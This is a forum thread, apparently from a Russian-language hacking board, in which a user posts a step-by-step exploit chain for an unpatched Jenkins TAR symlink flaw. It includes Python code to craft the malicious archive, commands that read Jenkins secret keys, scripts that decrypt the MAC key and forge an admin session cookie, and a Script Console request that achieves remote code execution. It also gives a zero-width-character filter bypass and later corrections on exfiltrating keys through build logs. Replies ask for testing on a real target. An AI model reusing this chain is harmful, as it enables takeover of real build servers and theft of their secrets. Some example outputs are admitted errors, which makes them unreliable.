LIMB
Вход Регистрация

тема

How I Lead FilePath.untarFrom() Symlink Bypass to Admin RCE story about Jenkins

napsomiknu · · 3 ответов · 664 просмотров

How I Lead FilePath.untarFrom() Symlink Bypass to Admin RCE story about Jenkins (CVE-2026-19429)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Summary

Jenkins validates where a symlink is placed during TAR extraction but never validates what it points to. Every patch Jenkins has released (CVE-2026-33001, CVE-2026-70427) fails to address this. A low-priv user crafts a malicious .tar.gz, extracts it via a build step, reads Jenkins cryptographic secrets through the symlink, forges a valid admin session cookie offline, and gets RCE through the Script Console — with zero admin interaction.

Jenkins has not released a fix. This affects the latest version (2.576) right now.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Root Cause

Code:
// hudson/FilePath.java — readFromTar() method
if (te.isSymbolicLink()) {
    new FilePath(f).symlinkTo(te.getLinkName(), TaskListener.NULL);
    //                         ^^^^^^^^^^^^^^^^
    //              NEVER validated — can point anywhere on the filesystem
}

The CVE-2026-33001 patch only checks that the symlink file itself lands inside the workspace. te.getLinkName() — what the symlink resolves to — has never been validated in any Jenkins version.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Step 1 — Craft Malicious TAR

Code:
import tarfile, io

def make_symlink_tar(symlink_name, target_path, output_file):
    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode="w:gz") as tf:
        info = tarfile.TarInfo(name=symlink_name)
        info.type = tarfile.SYMTYPE
        info.linkname = target_path
        info.size = 0
        tf.addfile(info)
    with open(output_file, "wb") as f:
        f.write(buf.getvalue())

make_symlink_tar("secrets", "/var/jenkins_home/secrets", "exploit.tar.gz")

Code:
$ python3 make_tar.py && tar -tzvf exploit.tar.gz
lrwxrwxrwx 0/0               0 2026-08-11 00:00 secrets -> /var/jenkins_home/secrets

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Step 2 — Extract & Read Secrets

Add to Jenkins build step: tar -xzf exploit.tar.gz

Code:
$ curl -u developer:pass http://jenkins/job/my-job/ws/secrets/master.key
e282e234c6a63d3a67e980557b89e470aae09c9b8f14a535934eb83df41c11be

$ curl -u developer:pass http://jenkins/job/my-job/ws/secret.key
e282e234c6a63d3a67e980557b89e470aae09c9b8f14a535934eb83df41c11be

$ curl -u developer:pass http://jenkins/job/my-job/ws/secrets/ -o mac.key
  % Total    % Received
100    48  [+] MAC key file saved (48 bytes encrypted)

$ curl -u developer:pass "http://jenkins/job/my-job/ws/users/admin_c6a448.../config.xml" \
    | grep -A1 UserSeedProperty
  <seed>cb3ff81666cb8934</seed>

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Step 3 — Decrypt MAC Key

Code:
import hashlib
from Crypto.Cipher import AES

MAGIC = b"::::MAGIC::::"

def decrypt_confidential(master_key_str, ciphertext_bytes):
    # Jenkins derives AES-128 key as SHA256(master.key)[0:16]
    aes_key = hashlib.sha256(master_key_str.encode()).digest()[:16]
    plain   = AES.new(aes_key, AES.MODE_ECB).decrypt(ciphertext_bytes)
    return plain[:-len(MAGIC)] if plain.endswith(MAGIC) else plain

with open("master.key")  as f: master_key = f.read().strip()
with open("mac.key", "rb") as f: mac_enc  = f.read()

mac_key = decrypt_confidential(master_key, mac_enc)
print(f"[+] MAC key: {mac_key.hex()}")

Code:
$ python3 decrypt.py
AES-128 key : 29af5cab3e74f9443dbed5ea3d1c0688
[+] MAC key : d14522f32d157b477ca8e67f0d482459e9bed6a8ce3c95505a6dba59fe0c6095

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Step 4 — Forge Admin Cookie

Code:
import hmac, hashlib, base64, time, requests

def forge_cookie(mac_key, secret_key, username, user_seed):
    expiry  = int((time.time() + 14 * 86400) * 1000)
    token   = f"{username}:{expiry}:{user_seed}:{secret_key}"
    sig     = hmac.new(mac_key, token.encode(), hashlib.sha256).hexdigest()
    return base64.b64encode(f"{username}:{expiry}:{sig}".encode()).decode()

with open("secret.key") as f: secret_key = f.read().strip()

forged = forge_cookie(mac_key, secret_key, "admin", "cb3ff81666cb8934")
print(f"[+] Cookie: {forged}")

# Verify
s = requests.Session()
s.cookies.set("remember-me", forged)
r = s.get("http://jenkins/whoAmI/api/json")
print(r.json())

Code:
$ python3 forge.py
[+] Cookie: YWRtaW46MTc4NzY0MjQyNjE4MDo3MDA1MTF...

Verification → {"name": "admin", "anonymous": false, "authorities": ["authenticated"]}

[+] ADMIN SESSION — 0 admin interaction required

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Step 5 — RCE via Script Console

Code:
crumb_r = s.get("http://jenkins/crumbIssuer/api/json").json()
r = s.post("http://jenkins/scriptText",
    headers={crumb_r["crumbRequestField"]: crumb_r["crumb"]},
    data={"script": 'println "id".execute().text'})
print(r.text)

Code:
$ python3 rce.py
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)

[+] REMOTE CODE EXECUTION CONFIRMED

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Bonus — CVE-2026-70427 Blank-Name Bypass (Jenkins 2.576)

Jenkins 2.576 added a blank-name check using String.isBlank(). Java does not classify Unicode zero-width characters as whitespace — bypassed with U+200B:

Code:
make_symlink_tar("", "/etc/passwd", "bypass.tar.gz")

Code:
# Result on Jenkins 2.576 (latest):
CREATED: name=(invisible)  link=true  target=/etc/passwd  ✓

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Full Chain

Code:
Low-priv Jenkins account (Item/Configure + Item/Build)
  │
  ├─ 1. craft tar.gz  → symlink: secrets → /jenkins/secrets/
  ├─ 2. trigger build (self-triggered, no admin needed)
  ├─ 3. workspace browser → read master.key, mac.key, secret.key, admin seed
  ├─ 4. [offline] decrypt MAC key (AES-ECB + SHA256)
  ├─ 5. [offline] forge admin remember-me cookie
  └─ 6. cookie → admin session → /script → RCE
         ↑
         Zero admin interaction at any step

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

References
👍31 😁9 👏6 💯7
Ответnapsomiknu

How I Lead FilePath.untarFrom() Symlink Bypass to Admin RCE story about Jenkins ( CVE-2026-19429 ) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Summary Jenkins validates where a symlink is placed during TAR extraction…

if you money for it: add screenshots please and translate on russian language please (with AI example or google translate) original EN add spoiler block, ok? Please add more details (pentest on real target) and i check it soon...
👍3
Ответcybergangster

if you money for it: add screenshots please and translate on russian language please (with AI example or google translate) original EN add spoiler block, ok? Please add more details (pentest on real target) and i check…

Hello it's not paid post just sharing details of new CVE and not patched 0day
Sorry for some issues in the original post — here are the corrections:

Version
Old: "latest version (2.576)"
New: "latest version (2.577)" — confirmed still affected after updating

Step 2 — Workspace Reader
Old: Direct curl to workspace URL works
New: Jenkins 2.576+ workspace viewer blocks following symlinks outside the workspace (returns 403/404). Use a second build step to read through sh instead:
Code:
sh 'cat master_key | base64 && echo MARK_END'
Then parse the base64 content from the build console log.

Step 3 — Output
Old: secret.key output shows same hex as master.key
New: secret.key and master.key are different keys — the example output was copy-paste error. master.key is 256-char hex, secret.key is a separate 64-char hex key used for cookie signing.
👍5 ❤️1

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.